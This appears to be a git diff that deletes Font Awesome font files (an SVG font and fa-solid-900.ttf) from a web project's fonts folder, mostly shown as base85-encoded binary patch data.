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

    3G|%UO|%AX>y_DrlqHm5G}x0qqtuK)rJSvbj0n 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 - - - - -Created by FontForge 20190801 at Mon Mar 23 10:45:51 2020 - By Robert Madole -Copyright (c) Font Awesome - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - diff --git a/pages/widgets/_snippets/public/fonts/fa-solid-900.ttf b/pages/widgets/_snippets/public/fonts/fa-solid-900.ttf deleted file mode 100644 index 5b979039ab28aaae305074541fe39258753ba624..0000000000000000000000000000000000000000 GIT binary patch literal 0 HcmV?d00001 literal 202616 zcmeFadth8u)i=EMnai2WnKLt)Tke_3y-k`-bMJjfOGz)#AO#E55}?omMFUhQP;h{% z6;WF#P!%vBO4Wi@D;7itcH~$_v6@x$(-)TfW(A~< zqUu`s@4NECExpz*aTek`kUsk13$MJS>e2E-QvO&>WUK4_$Tgd{Ke+ooQvT9K6hBI6 zn^>V}pS)y;?E>%o5ppZYM)bP}Zby0Y-8gY{V!v{?cmZAqDVzg;oG&$zB2tnQNAbMd z440Aou)N73mcNK@ipoGPSjbcf=_j&^e_FPY4Z$nLr3gFCe2-88Z9|!4vzRHTy}Bz(Gs}7&Sg#fll=xvq?H7DMJnT;`W8J?{Hl_q zeB|>X59fC%iHYN~9K)|lH=+8J8P9HpB>ahNxKTI4IGv0mqaM?rCy-VFNPlYTo9oDg za~kPS%C|%GWb-9*aml79GkuB@=&y0qQ^bI@j*|eF@5toG+s43U=Y&Z&!UAR)gnmh9 z+KfJ9|2u#Q&ck^z1`}o(MtPV~O2UlGyk$CsB{5#ei+FFgOc^)v9?E$yg9qXbJn&{W z;?hQ42u~Vd;+Ji!7%=N3ncf&nb|bya%lT3hBbhp;zm4)453_F0%Yb|g=v$S6QWOEm zIQTsoF!E=^jeKT5iJqxt%DziZylcFTJhBdyn}b(A-1#V<>t@=^mtgu8yt8@OO;f zmt`jLPRTf*0=EQ?Lzs*=`^CsFY15$bteJ+n=cZZrLsdCPoJ zPCxOkV&+2__miYI4l~lqesXZVGEZ`1#4MNl7;A_zu9CN9(xi|!f&4s=lBS#Bo(5c= zEHh=iGkzn?Sf50nj5BaDaLb)v28|>*4bLkBP>(0m&a69W)`d8fFWZ^(p3=v%eJE2T z(2oFx-N-L`I1J^$E$NHjB!TIZl!OUngkubhIiJf<5GTvvcM6cq@x#q!%YN%K%E

